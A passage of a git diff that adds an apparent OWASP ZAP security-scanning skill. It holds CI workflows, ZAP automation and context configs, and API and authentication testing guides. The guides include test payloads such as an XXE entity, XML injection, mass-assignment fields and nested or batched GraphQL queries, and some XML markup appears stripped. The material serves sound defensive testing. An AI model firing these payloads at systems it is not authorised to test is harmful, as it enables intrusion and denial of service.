scanner.threadPerHost=1 -config scanner.delayInMs=1000" +``` + +## References + +- [OWASP ZAP Documentation](https://www.zaproxy.org/docs/) +- [ZAP Docker Documentation](https://www.zaproxy.org/docs/docker/) +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [ZAP Automation Framework](https://www.zaproxy.org/docs/automate/automation-framework/) +- [GitHub Actions for ZAP](https://github.com/zaproxy/action-baseline) diff --git a/skills/appsec/dast-zap/assets/.gitkeep b/skills/appsec/dast-zap/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/dast-zap/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/dast-zap/assets/github_action.yml b/skills/appsec/dast-zap/assets/github_action.yml new file mode 100644 index 0000000..fee72d5 --- /dev/null +++ b/skills/appsec/dast-zap/assets/github_action.yml @@ -0,0 +1,207 @@ +# GitHub Actions Workflow for OWASP ZAP Security Scanning +# Place this file in .github/workflows/zap-security-scan.yml + +name: OWASP ZAP Security Scan + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + schedule: + # Run weekly security scans on Sunday at 2 AM + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual triggering + +permissions: + contents: read + security-events: write # For uploading SARIF reports + issues: write # For creating security issues + +jobs: + zap-baseline-scan: + name: ZAP Baseline Scan (PR/Push) + runs-on: ubuntu-latest + if: github.event_name == 'pull_request' || github.event_name == 'push' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run ZAP Baseline Scan + uses: zaproxy/action-baseline@v0.10.0 + with: + target: ${{ secrets.STAGING_URL }} + rules_file_name: '.zap/rules.tsv' + cmd_options: '-a -j' + fail_action: true + allow_issue_writing: false + + - name: Upload ZAP Scan Report + uses: actions/upload-artifact@v4 + if: always() + with: + name: zap-baseline-report + path: | + report_html.html + report_json.json + retention-days: 30 + + - name: Create Issue on Failure + if: failure() + uses: actions/github-script@v7 + with: + script: | + github.rest.issues.create({ + owner: context.repo.owner, + repo: context.repo.repo, + title: '🔒 ZAP Baseline Scan Found Security Issues', + body: 'ZAP baseline scan detected security vulnerabilities. Please review the scan report in the workflow artifacts.', + labels: ['security', 'automated'] + }) + + zap-full-scan: + name: ZAP Full Active Scan (Staging) + runs-on: ubuntu-latest + if: github.ref == 'refs/heads/develop' || github.event_name == 'schedule' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run ZAP Full Scan + uses: zaproxy/action-full-scan@v0.8.0 + with: + target: ${{ secrets.STAGING_URL }} + rules_file_name: '.zap/rules.tsv' + cmd_options: '-a -j -x report.xml' + fail_action: true + allow_issue_writing: true + issue_title: 'ZAP Full Scan: Security Vulnerabilities Detected' + + - name: Upload ZAP Full Scan Report + uses: actions/upload-artifact@v4 + if: always() + with: + name: zap-full-scan-report + path: | + report_html.html + report_json.json + report.xml + retention-days: 90 + + - name: Upload SARIF Report to GitHub Security + uses: github/codeql-action/upload-sarif@v3 + if: always() + with: + sarif_file: report.xml + + zap-api-scan: + name: ZAP API Scan + runs-on: ubuntu-latest + if: github.event_name == 'push' || github.event_name == 'pull_request' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run ZAP API Scan + uses: zaproxy/action-api-scan@v0.6.0 + with: + target: ${{ secrets.API_URL }} + format: openapi + api_spec_file: './openapi.yaml' + cmd_options: '-a -j' + fail_action: true + + - name: Upload API Scan Report + uses: actions/upload-artifact@v4 + if: always() + with: + name: zap-api-scan-report + path: | + report_html.html + report_json.json + retention-days: 30 + + zap-authenticated-scan: + name: ZAP Authenticated Scan + runs-on: ubuntu-latest + if: github.ref == 'refs/heads/develop' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run Authenticated Scan + env: + APP_PASSWORD: ${{ secrets.TEST_USER_PASSWORD }} + TARGET_URL: ${{ secrets.STAGING_URL }} + run: | + python3 scripts/zap_auth_scanner.py \ + --target $TARGET_URL \ + --auth-type form \ + --login-url $TARGET_URL/login \ + --username testuser \ + --password-env APP_PASSWORD \ + --output ./authenticated-scan-report.html + + - name: Upload Authenticated Scan Report + uses: actions/upload-artifact@v4 + if: always() + with: + name: zap-authenticated-scan-report + path: authenticated-scan-report.* + retention-days: 90 + + security-gate: + name: Security Gate Check + runs-on: ubuntu-latest + needs: [zap-baseline-scan] + if: always() + + steps: + - name: Download Scan Results + uses: actions/download-artifact@v4 + with: + name: zap-baseline-report + + - name: Check Security Thresholds + run: | + # Install jq for JSON parsing + sudo apt-get update && sudo apt-get install -y jq + + # Count high and medium findings + HIGH_COUNT=$(jq '[.site[].alerts[] | select(.risk == "High")] | length' report_json.json) + MEDIUM_COUNT=$(jq '[.site[].alerts[] | select(.risk == "Medium")] | length' report_json.json) + + echo "High risk findings: $HIGH_COUNT" + echo "Medium risk findings: $MEDIUM_COUNT" + + # Fail if thresholds exceeded + if [ "$HIGH_COUNT" -gt 0 ]; then + echo "❌ Security gate failed: $HIGH_COUNT high-risk vulnerabilities found" + exit 1 + fi + + if [ "$MEDIUM_COUNT" -gt 10 ]; then + echo "❌ Security gate failed: $MEDIUM_COUNT medium-risk vulnerabilities (max: 10)" + exit 1 + fi + + echo "✅ Security gate passed" + + - name: Post Summary + if: always() + run: | + echo "## Security Scan Summary" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "| Risk Level | Count |" >> $GITHUB_STEP_SUMMARY + echo "|------------|-------|" >> $GITHUB_STEP_SUMMARY + jq -r '.site[].alerts[] | .risk' report_json.json | sort | uniq -c | \ + awk '{print "| " $2 " | " $1 " |"}' >> $GITHUB_STEP_SUMMARY diff --git a/skills/appsec/dast-zap/assets/gitlab_ci.yml b/skills/appsec/dast-zap/assets/gitlab_ci.yml new file mode 100644 index 0000000..e817d44 --- /dev/null +++ b/skills/appsec/dast-zap/assets/gitlab_ci.yml @@ -0,0 +1,226 @@ +# GitLab CI/CD Pipeline for OWASP ZAP Security Scanning +# Add this to your .gitlab-ci.yml file + +stages: + - security + - report + +variables: + ZAP_IMAGE: "zaproxy/zap-stable:latest" + STAGING_URL: "https://staging.example.com" + REPORTS_DIR: "security-reports" + +# Baseline scan for all merge requests +zap_baseline_scan: + stage: security + image: docker:latest + services: + - docker:dind + script: + - mkdir -p $REPORTS_DIR + - | + docker run --rm \ + -v $(pwd)/$REPORTS_DIR:/zap/wrk/:rw \ + $ZAP_IMAGE \ + zap-baseline.py \ + -t $STAGING_URL \ + -r /zap/wrk/baseline-report.html \ + -J /zap/wrk/baseline-report.json \ + -w /zap/wrk/baseline-report.md \ + || true + - echo "Baseline scan completed" + artifacts: + when: always + paths: + - $REPORTS_DIR/ + reports: + junit: $REPORTS_DIR/baseline-report.xml + expire_in: 1 week + only: + - merge_requests + - develop + - main + tags: + - docker + +# Full active scan (manual trigger for staging) +zap_full_scan: + stage: security + image: docker:latest + services: + - docker:dind + script: + - mkdir -p $REPORTS_DIR + - | + docker run --rm \ + -v $(pwd)/$REPORTS_DIR:/zap/wrk/:rw \ + -v $(pwd)/.zap:/zap/config/:ro \ + $ZAP_IMAGE \ + zap-full-scan.py \ + -t $STAGING_URL \ + -c /zap/config/rules.tsv \ + -r /zap/wrk/full-scan-report.html \ + -J /zap/wrk/full-scan-report.json \ + -x /zap/wrk/full-scan-report.xml \ + || true + # Check for high-risk findings + - | + if command -v jq &> /dev/null; then + HIGH_COUNT=$(jq '[.site[].alerts[] | select(.risk == "High")] | length' $REPORTS_DIR/full-scan-report.json) + echo "High risk findings: $HIGH_COUNT" + if [ "$HIGH_COUNT" -gt 0 ]; then + echo "❌ Security scan failed: $HIGH_COUNT high-risk vulnerabilities" + exit 1 + fi + fi + artifacts: + when: always + paths: + - $REPORTS_DIR/ + expire_in: 4 weeks + only: + - develop + when: manual + allow_failure: false + tags: + - docker + +# API security scan +zap_api_scan: + stage: security + image: docker:latest + services: + - docker:dind + script: + - mkdir -p $REPORTS_DIR + - | + if [ -f "openapi.yaml" ]; then + docker run --rm \ + -v $(pwd)/$REPORTS_DIR:/zap/wrk/:rw \ + -v $(pwd):/zap/specs/:ro \ + $ZAP_IMAGE \ + zap-api-scan.py \ + -t $STAGING_URL \ + -f openapi \ + -d /zap/specs/openapi.yaml \ + -r /zap/wrk/api-scan-report.html \ + -J /zap/wrk/api-scan-report.json \ + || true + else + echo "OpenAPI specification not found, skipping API scan" + fi + artifacts: + when: always + paths: + - $REPORTS_DIR/ + expire_in: 1 week + only: + - merge_requests + - develop + allow_failure: true + tags: + - docker + +# Authenticated scan (requires test credentials) +zap_authenticated_scan: + stage: security + image: python:3.11-slim + before_script: + - apt-get update && apt-get install -y docker.io + script: + - mkdir -p $REPORTS_DIR + - | + python3 scripts/zap_auth_scanner.py \ + --target $STAGING_URL \ + --auth-type form \ + --login-url $STAGING_URL/login \ + --username $TEST_USERNAME \ + --password-env TEST_PASSWORD \ + --output $REPORTS_DIR/authenticated-scan-report.html + artifacts: + when: always + paths: + - $REPORTS_DIR/ + expire_in: 4 weeks + only: + - develop + when: manual + tags: + - docker + +# Security gate - check thresholds +security_gate: + stage: report + image: alpine:latest + before_script: + - apk add --no-cache jq + script: + - | + if [ -f "$REPORTS_DIR/baseline-report.json" ]; then + HIGH_COUNT=$(jq '[.site[].alerts[] | select(.risk == "High")] | length' $REPORTS_DIR/baseline-report.json) + MEDIUM_COUNT=$(jq '[.site[].alerts[] | select(.risk == "Medium")] | length' $REPORTS_DIR/baseline-report.json) + + echo "===================================" + echo "Security Scan Results" + echo "===================================" + echo "High risk findings: $HIGH_COUNT" + echo "Medium risk findings: $MEDIUM_COUNT" + echo "===================================" + + # Fail on high-risk findings + if [ "$HIGH_COUNT" -gt 0 ]; then + echo "❌ Build failed: High-risk vulnerabilities detected" + exit 1 + fi + + # Warn on medium-risk findings above threshold + if [ "$MEDIUM_COUNT" -gt 10 ]; then + echo "⚠️ Warning: $MEDIUM_COUNT medium-risk findings (threshold: 10)" + fi + + echo "✅ Security gate passed" + else + echo "No scan report found, skipping security gate" + fi + dependencies: + - zap_baseline_scan + only: + - merge_requests + - develop + - main + +# Generate consolidated report +generate_report: + stage: report + image: alpine:latest + before_script: + - apk add --no-cache jq curl + script: + - | + echo "# Security Scan Report" > $REPORTS_DIR/summary.md + echo "" >> $REPORTS_DIR/summary.md + echo "**Scan Date:** $(date)" >> $REPORTS_DIR/summary.md + echo "**Target:** $STAGING_URL" >> $REPORTS_DIR/summary.md + echo "" >> $REPORTS_DIR/summary.md + echo "## Findings Summary" >> $REPORTS_DIR/summary.md + echo "" >> $REPORTS_DIR/summary.md + + if [ -f "$REPORTS_DIR/baseline-report.json" ]; then + echo "| Risk Level | Count |" >> $REPORTS_DIR/summary.md + echo "|------------|-------|" >> $REPORTS_DIR/summary.md + jq -r '.site[].alerts[] | .risk' $REPORTS_DIR/baseline-report.json | \ + sort | uniq -c | awk '{print "| " $2 " | " $1 " |"}' >> $REPORTS_DIR/summary.md + fi + + cat $REPORTS_DIR/summary.md + artifacts: + when: always + paths: + - $REPORTS_DIR/summary.md + expire_in: 4 weeks + dependencies: + - zap_baseline_scan + only: + - merge_requests + - develop + - main diff --git a/skills/appsec/dast-zap/assets/zap_automation.yaml b/skills/appsec/dast-zap/assets/zap_automation.yaml new file mode 100644 index 0000000..3e33859 --- /dev/null +++ b/skills/appsec/dast-zap/assets/zap_automation.yaml @@ -0,0 +1,196 @@ +# OWASP ZAP Automation Framework Configuration +# Complete automation workflow for web application security testing + +env: + contexts: + - name: WebApp-Security-Scan + urls: + - ${TARGET_URL} + includePaths: + - ${TARGET_URL}.* + excludePaths: + - .*logout.* + - .*signout.* + - .*\\.css + - .*\\.js + - .*\\.png + - .*\\.jpg + - .*\\.gif + - .*\\.svg + authentication: + method: form + parameters: + loginUrl: ${LOGIN_URL} + loginRequestData: username={%username%}&password={%password%} + verification: + method: response + loggedInRegex: "\\QWelcome\\E" + loggedOutRegex: "\\QLogin\\E" + sessionManagement: + method: cookie + parameters: + sessionCookieName: JSESSIONID + users: + - name: test-user + credentials: + username: ${TEST_USERNAME} + password: ${TEST_PASSWORD} + + parameters: + failOnError: true + failOnWarning: false + progressToStdout: true + + vars: + target_url: ${TARGET_URL} + api_key: ${ZAP_API_KEY} + +jobs: + # Environment setup + - type: environment + parameters: + deleteGlobalAlerts: true + updateAddOns: true + + # Import OpenAPI specification (if available) + - type: openapi + parameters: + apiFile: ${OPENAPI_SPEC_FILE} + apiUrl: ${TARGET_URL} + targetUrl: ${TARGET_URL} + context: WebApp-Security-Scan + optional: true + + # Spider crawling + - type: spider + parameters: + context: WebApp-Security-Scan + user: test-user + maxDuration: 10 + maxDepth: 5 + maxChildren: 10 + acceptCookies: true + handleODataParametersVisited: true + parseComments: true + parseRobotsTxt: true + parseSitemapXml: true + parseSVNEntries: true + parseGit: true + postForm: true + processForm: true + requestWaitTime: 200 + + # AJAX Spider for JavaScript-heavy applications + - type: spiderAjax + parameters: + context: WebApp-Security-Scan + user: test-user + maxDuration: 10 + maxCrawlDepth: 5 + numberOfBrowsers: 2 + browserId: firefox-headless + clickDefaultElems: true + clickElemsOnce: true + eventWait: 1000 + reloadWait: 1000 + optional: true + + # Wait for passive scanning to complete + - type: passiveScan-wait + parameters: + maxDuration: 5 + + # Configure passive scan rules + - type: passiveScan-config + parameters: + maxAlertsPerRule: 10 + scanOnlyInScope: true + enableTags: true + disableRules: + - 10096 # Timestamp Disclosure (informational) + + # Active scanning + - type: activeScan + parameters: + context: WebApp-Security-Scan + user: test-user + policy: Default Policy + maxRuleDurationInMins: 5 + maxScanDurationInMins: 30 + addQueryParam: false + defaultPolicy: Default Policy + delayInMs: 0 + handleAntiCSRFTokens: true + injectPluginIdInHeader: false + scanHeadersAllRequests: false + threadPerHost: 2 + + # Wait for active scanning to complete + - type: activeScan-wait + + # Generate reports + - type: report + parameters: + template: traditional-html + reportDir: ${REPORT_DIR} + reportFile: security-report.html + reportTitle: Web Application Security Assessment + reportDescription: Automated DAST scan using OWASP ZAP + displayReport: false + + - type: report + parameters: + template: traditional-json + reportDir: ${REPORT_DIR} + reportFile: security-report.json + reportTitle: Web Application Security Assessment + + - type: report + parameters: + template: traditional-xml + reportDir: ${REPORT_DIR} + reportFile: security-report.xml + reportTitle: Web Application Security Assessment + + - type: report + parameters: + template: sarif-json + reportDir: ${REPORT_DIR} + reportFile: security-report.sarif + reportTitle: Web Application Security Assessment (SARIF) + optional: true + +# Alert filters (false positive suppression) +alertFilters: + - ruleId: 10021 + newRisk: Info + url: ".*\\.css|.*\\.js|.*cdn\\..*" + context: WebApp-Security-Scan + + - ruleId: 10096 + newRisk: Info + url: ".*api\\..*" + parameter: "created_at|updated_at|timestamp" + context: WebApp-Security-Scan + +# Scan policies +policies: + - name: Default Policy + defaultStrength: Medium + defaultThreshold: Medium + rules: + - id: 40018 # SQL Injection + strength: High + threshold: Low + - id: 40012 # Cross-Site Scripting (Reflected) + strength: High + threshold: Low + - id: 40014 # Cross-Site Scripting (Persistent) + strength: High + threshold: Low + - id: 90019 # Server-Side Code Injection + strength: High + threshold: Low + - id: 90020 # Remote OS Command Injection + strength: High + threshold: Low diff --git a/skills/appsec/dast-zap/assets/zap_context.xml b/skills/appsec/dast-zap/assets/zap_context.xml new file mode 100644 index 0000000..e133f9f --- /dev/null +++ b/skills/appsec/dast-zap/assets/zap_context.xml @@ -0,0 +1,192 @@ + + + + + + WebApp-Auth-Context + Authentication context for web application security testing + + + true + + + + https://app\.example\.com/.* + + + https://app\.example\.com/logout + https://app\.example\.com/signout + https://app\.example\.com/static/.* + .*\.css + .*\.js + .*\.png|.*\.jpg|.*\.gif + + + + Language + Language.JavaScript + OS + OS.Linux + WS + + + + + + formBasedAuthentication + + +
+ + https://app.example.com/login + + + + username={%username%}&password={%password%}&csrf_token={%csrf_token%} + + + https://app.example.com/login +
+ + + + + + + \QWelcome,\E + + + + \QYou are not logged in\E + + + + https://app.example.com/api/session/verify + + 60 + + + + + + cookieBasedSessionManagement + + + + JSESSIONID + PHPSESSID + sessionid + session_token + + + + + + + + testuser + true + + + username + testuser + + + password + TestPassword123! + + + + + + + + + adminuser + false + + + username + adminuser + + + password + AdminPassword123! + + + + + + + + false + + + + + + user_id + https://app.example.com/api/users/{user_id} + + + + + + + https://.*\.googleapis\.com/.* + https://.*\.google-analytics\.com/.* + https://.*\.googletagmanager\.com/.* + https://cdn\..* + + + + + + true + + + + csrf_token + csrftoken + _csrf + authenticity_token + __RequestVerificationToken + + + diff --git a/skills/appsec/dast-zap/references/EXAMPLE.md b/skills/appsec/dast-zap/references/EXAMPLE.md new file mode 100644 index 0000000..23d74db --- /dev/null +++ b/skills/appsec/dast-zap/references/EXAMPLE.md @@ -0,0 +1,40 @@ +# Reference Document Template + +This file contains detailed reference material that Claude should load only when needed. + +## Table of Contents + +- [Section 1](#section-1) +- [Section 2](#section-2) +- [Security Standards](#security-standards) + +## Section 1 + +Detailed information, schemas, or examples that are too large for SKILL.md. + +## Section 2 + +Additional reference material. + +## Security Standards + +### OWASP Top 10 + +Reference relevant OWASP categories: +- A01: Broken Access Control +- A02: Cryptographic Failures +- etc. + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories: +- CWE-79: Cross-site Scripting +- CWE-89: SQL Injection +- etc. + +### MITRE ATT&CK + +Reference relevant tactics and techniques if applicable: +- TA0001: Initial Access +- T1190: Exploit Public-Facing Application +- etc. diff --git a/skills/appsec/dast-zap/references/api_testing_guide.md b/skills/appsec/dast-zap/references/api_testing_guide.md new file mode 100644 index 0000000..170decd --- /dev/null +++ b/skills/appsec/dast-zap/references/api_testing_guide.md @@ -0,0 +1,475 @@ +# ZAP API Security Testing Guide + +Advanced guide for testing REST, GraphQL, SOAP, and WebSocket APIs using OWASP ZAP. + +## Overview + +Modern applications rely heavily on APIs. This guide covers comprehensive API security testing patterns using ZAP's API scanning capabilities. + +## API Types Supported + +- **REST APIs** (JSON, XML) +- **GraphQL APIs** +- **SOAP APIs** (WSDL-based) +- **gRPC APIs** +- **WebSocket APIs** + +## REST API Testing + +### Testing with OpenAPI/Swagger Specification + +**Best Practice:** Always use API specifications when available for complete coverage. + +```bash +# Basic OpenAPI scan +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.example.com \ + -f openapi \ + -d /zap/wrk/openapi.yaml \ + -r /zap/wrk/api-report.html +``` + +### Testing Without Specification (Spider-Based) + +When no specification is available: + +```bash +# Use standard spider with API context +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \ + -t https://api.example.com \ + -r /zap/wrk/api-report.html \ + -z "-config spider.parseComments=true -config spider.parseRobotsTxt=true" +``` + +### Authentication Patterns + +#### Bearer Token (JWT) + +```bash +# Obtain token first +TOKEN=$(curl -X POST https://api.example.com/auth/login \ + -H "Content-Type: application/json" \ + -d '{"username":"testuser","password":"password"}' \ + | jq -r '.access_token') + +# Scan with authentication +python3 scripts/zap_api_scan.py \ + --target https://api.example.com \ + --format openapi \ + --spec openapi.yaml \ + --header "Authorization: Bearer $TOKEN" +``` + +#### API Key Authentication + +```bash +# API key in header +python3 scripts/zap_api_scan.py \ + --target https://api.example.com \ + --format openapi \ + --spec openapi.yaml \ + --header "X-API-Key: your-api-key-here" + +# API key in query parameter +python3 scripts/zap_api_scan.py \ + --target https://api.example.com?api_key=your-api-key \ + --format openapi \ + --spec openapi.yaml +``` + +### Common REST API Vulnerabilities + +#### 1. Broken Object Level Authorization (BOLA) + +**Detection:** Test access to resources belonging to other users. + +**Manual Test:** +```bash +# Request resource with different user IDs +curl -H "Authorization: Bearer $USER1_TOKEN" \ + https://api.example.com/users/123/profile + +curl -H "Authorization: Bearer $USER2_TOKEN" \ + https://api.example.com/users/123/profile # Should be denied +``` + +**ZAP Configuration:** +Add authorization test scripts to detect BOLA. + +#### 2. Mass Assignment + +**Detection:** Send additional fields not in API specification. + +**Test Payload:** +```json +{ + "username": "testuser", + "email": "test@example.com", + "is_admin": true, # Unauthorized field + "role": "admin" # Unauthorized field +} +``` + +#### 3. Rate Limiting + +**Detection:** Send multiple requests rapidly. + +```bash +# Test rate limiting +for i in {1..100}; do + curl https://api.example.com/endpoint -H "Authorization: Bearer $TOKEN" +done +``` + +**Expected:** HTTP 429 (Too Many Requests) after threshold. + +## GraphQL API Testing + +### Testing with GraphQL Schema + +```bash +# Scan GraphQL endpoint with schema +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.example.com/graphql \ + -f graphql \ + -d /zap/wrk/schema.graphql \ + -r /zap/wrk/graphql-report.html +``` + +### GraphQL Introspection + +**Check if introspection is enabled:** + +```bash +curl -X POST https://api.example.com/graphql \ + -H "Content-Type: application/json" \ + -d '{"query": "{ __schema { types { name } } }"}' +``` + +**Security Note:** Disable introspection in production. + +### GraphQL-Specific Vulnerabilities + +#### 1. Query Depth/Complexity Attacks + +**Malicious Query:** +```graphql +query { + user { + posts { + comments { + author { + posts { + comments { + author { + # ... deeply nested + } + } + } + } + } + } + } +} +``` + +**Mitigation:** Implement query depth/complexity limits. + +#### 2. Batch Query Attacks + +**Malicious Query:** +```graphql +query { + user1: user(id: 1) { name email } + user2: user(id: 2) { name email } + # ... repeated hundreds of times + user500: user(id: 500) { name email } +} +``` + +**Mitigation:** Limit batch query size. + +#### 3. Field Suggestions + +When introspection is disabled, test field suggestions: + +```graphql +query { + user { + nam # Intentional typo to trigger suggestions + } +} +``` + +## SOAP API Testing + +### Testing with WSDL + +```bash +# SOAP API scan with WSDL +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.example.com/soap \ + -f soap \ + -d /zap/wrk/service.wsdl \ + -r /zap/wrk/soap-report.html +``` + +### SOAP-Specific Vulnerabilities + +#### 1. XML External Entity (XXE) + +**Test Payload:** +```xml + +]> + + + + &xxe; + + + +``` + +#### 2. XML Injection + +**Test Payload:** +```xml +adminadminattacker +``` + +## WebSocket Testing + +### Manual WebSocket Testing + +ZAP can intercept WebSocket traffic: + +1. Configure browser proxy to ZAP +2. Connect to WebSocket endpoint +3. Review messages in ZAP's WebSocket tab +4. Manually craft malicious messages + +### Common WebSocket Vulnerabilities + +- **Message Injection:** Inject malicious payloads in WebSocket messages +- **Authentication Bypass:** Test if authentication is required for WebSocket connections +- **Message Tampering:** Modify messages in transit + +## API Security Testing Checklist + +### Authentication & Authorization + +- [ ] Test unauthenticated access to protected endpoints +- [ ] Test authorization bypass (access other users' data) +- [ ] Test JWT token validation (expiration, signature) +- [ ] Test API key validation +- [ ] Test role-based access control (RBAC) + +### Input Validation + +- [ ] Test SQL injection in parameters +- [ ] Test NoSQL injection (MongoDB, etc.) +- [ ] Test command injection +- [ ] Test XML injection (for SOAP APIs) +- [ ] Test mass assignment vulnerabilities +- [ ] Test parameter pollution + +### Rate Limiting & DoS + +- [ ] Verify rate limiting is enforced +- [ ] Test resource exhaustion (large payloads) +- [ ] Test query complexity limits (GraphQL) +- [ ] Test batch request limits + +### Data Exposure + +- [ ] Check for sensitive data in responses +- [ ] Test verbose error messages +- [ ] Verify PII is properly protected +- [ ] Check for data leakage in logs + +### Transport Security + +- [ ] Verify HTTPS is enforced +- [ ] Test TLS configuration (strong ciphers only) +- [ ] Check certificate validation +- [ ] Verify HSTS header is set + +### Business Logic + +- [ ] Test state manipulation +- [ ] Test payment flow manipulation +- [ ] Test workflow bypass +- [ ] Test negative values/amounts + +## ZAP Automation for API Testing + +### Automation Framework Configuration + +`api_automation.yaml`: + +```yaml +env: + contexts: + - name: API-Context + urls: + - https://api.example.com + includePaths: + - https://api.example.com/.* + authentication: + method: header + parameters: + header: Authorization + value: "Bearer ${API_TOKEN}" + +jobs: + - type: openapi + parameters: + apiFile: /zap/wrk/openapi.yaml + apiUrl: https://api.example.com + targetUrl: https://api.example.com + context: API-Context + + - type: passiveScan-wait + + - type: activeScan + parameters: + context: API-Context + policy: API-Scan-Policy + user: api-user + + - type: report + parameters: + template: traditional-html + reportDir: /zap/wrk/ + reportFile: api-security-report.html + reportTitle: API Security Assessment +``` + +Run: + +```bash +export API_TOKEN="your-token-here" +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \ + zap.sh -cmd -autorun /zap/wrk/api_automation.yaml +``` + +## Custom API Scan Policies + +### Create API-Optimized Scan Policy + +Disable irrelevant checks for APIs: +- Disable DOM XSS checks (no browser context) +- Disable CSRF checks (stateless APIs) +- Enable injection checks (SQL, NoSQL, Command) +- Enable authentication/authorization checks + +See `assets/scan_policy_api.policy` for pre-configured policy. + +## API Testing Tools Integration + +### Postman Integration + +Export Postman collection to OpenAPI: + +```bash +# Use Postman's built-in export or newman +newman run collection.json --export-collection openapi.yaml +``` + +### cURL to OpenAPI Conversion + +Use tools like `curl-to-openapi` to generate specs from cURL commands. + +## Common API Testing Patterns + +### Pattern 1: CRUD Operation Testing + +Test all CRUD operations for each resource: + +```bash +# CREATE +curl -X POST https://api.example.com/users \ + -H "Authorization: Bearer $TOKEN" \ + -d '{"username":"testuser"}' + +# READ +curl https://api.example.com/users/123 \ + -H "Authorization: Bearer $TOKEN" + +# UPDATE +curl -X PUT https://api.example.com/users/123 \ + -H "Authorization: Bearer $TOKEN" \ + -d '{"username":"updated"}' + +# DELETE +curl -X DELETE https://api.example.com/users/123 \ + -H "Authorization: Bearer $TOKEN" +``` + +### Pattern 2: Multi-User Testing + +Test with different user roles: + +```bash +# Admin user +export ADMIN_TOKEN="admin-token" +python3 scripts/zap_api_scan.py --target https://api.example.com \ + --header "Authorization: Bearer $ADMIN_TOKEN" + +# Regular user +export USER_TOKEN="user-token" +python3 scripts/zap_api_scan.py --target https://api.example.com \ + --header "Authorization: Bearer $USER_TOKEN" +``` + +### Pattern 3: Versioned API Testing + +Test all API versions: + +```bash +# v1 +python3 scripts/zap_api_scan.py --target https://api.example.com/v1 \ + --spec openapi-v1.yaml + +# v2 +python3 scripts/zap_api_scan.py --target https://api.example.com/v2 \ + --spec openapi-v2.yaml +``` + +## Troubleshooting API Scans + +### Issue: OpenAPI Import Fails + +**Solution:** Validate OpenAPI spec: + +```bash +# Use Swagger Editor or openapi-validator +npx @apidevtools/swagger-cli validate openapi.yaml +``` + +### Issue: Authentication Not Working + +**Solution:** Test authentication manually first: + +```bash +curl -v https://api.example.com/protected-endpoint \ + -H "Authorization: Bearer $TOKEN" +``` + +### Issue: Rate Limiting During Scan + +**Solution:** Reduce scan speed: + +```bash +docker run -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.example.com -f openapi -d /zap/wrk/spec.yaml \ + -z "-config scanner.delayInMs=1000" +``` + +## Additional Resources + +- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) +- [REST API Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) +- [GraphQL Security](https://graphql.org/learn/authorization/) +- [ZAP OpenAPI Add-on](https://www.zaproxy.org/docs/desktop/addons/openapi-support/) diff --git a/skills/appsec/dast-zap/references/authentication_guide.md b/skills/appsec/dast-zap/references/authentication_guide.md new file mode 100644 index 0000000..240d16e --- /dev/null +++ b/skills/appsec/dast-zap/references/authentication_guide.md @@ -0,0 +1,431 @@ +# ZAP Authentication Configuration Guide + +Comprehensive guide for configuring authenticated scanning in OWASP ZAP for form-based, token-based, and OAuth authentication. + +## Overview + +Authenticated scanning is critical for testing protected application areas that require login. ZAP supports multiple authentication methods: + +- **Form-Based Authentication** - Traditional username/password login forms +- **HTTP Authentication** - Basic, Digest, NTLM authentication +- **Script-Based Authentication** - Custom authentication flows (OAuth, SAML) +- **Token-Based Authentication** - Bearer tokens, API keys, JWT + +## Form-Based Authentication + +### Configuration Steps + +1. **Identify Login Parameters** + - Login URL + - Username field name + - Password field name + - Submit button/action + +2. **Create Authentication Context** + +```bash +# Use bundled script +python3 scripts/zap_auth_scanner.py \ + --target https://app.example.com \ + --auth-type form \ + --login-url https://app.example.com/login \ + --username testuser \ + --password-env APP_PASSWORD \ + --verification-url https://app.example.com/dashboard \ + --output authenticated-scan-report.html +``` + +3. **Configure Logged-In Indicator** + +Specify a regex pattern that appears only when logged in: +- Example: `Welcome, testuser` +- Example: `Logout` +- Example: Check for presence of dashboard elements + +### Manual Context Configuration + +Create `auth-context.xml`: + +```xml + + + + WebAppAuth + Authenticated scanning context + true + https://app\.example\.com/.* + + + formBasedAuthentication +
+ https://app.example.com/login + username={%username%}&password={%password%} + https://app.example.com/login +
+ \QWelcome,\E + \QYou are not logged in\E + + + + + testuser + + + username + testuser + + + password + SecureP@ssw0rd + + + true + + + + + cookieBasedSessionManagement + + + +``` + +Run scan with context: + +```bash +docker run --rm \ + -v $(pwd):/zap/wrk/:rw \ + -t zaproxy/zap-stable \ + zap-full-scan.py \ + -t https://app.example.com \ + -n /zap/wrk/auth-context.xml \ + -r /zap/wrk/auth-report.html +``` + +## Token-Based Authentication (Bearer Tokens) + +### JWT/Bearer Token Configuration + +1. **Obtain Authentication Token** + +```bash +# Example: Login to get token +TOKEN=$(curl -X POST https://api.example.com/auth/login \ + -H "Content-Type: application/json" \ + -d '{"username":"testuser","password":"password"}' \ + | jq -r '.token') +``` + +2. **Configure ZAP to Include Token** + +Use ZAP Replacer to add Authorization header: + +```bash +python3 scripts/zap_auth_scanner.py \ + --target https://api.example.com \ + --auth-type bearer \ + --token-env API_TOKEN \ + --output api-auth-scan.html +``` + +### Manual Token Configuration + 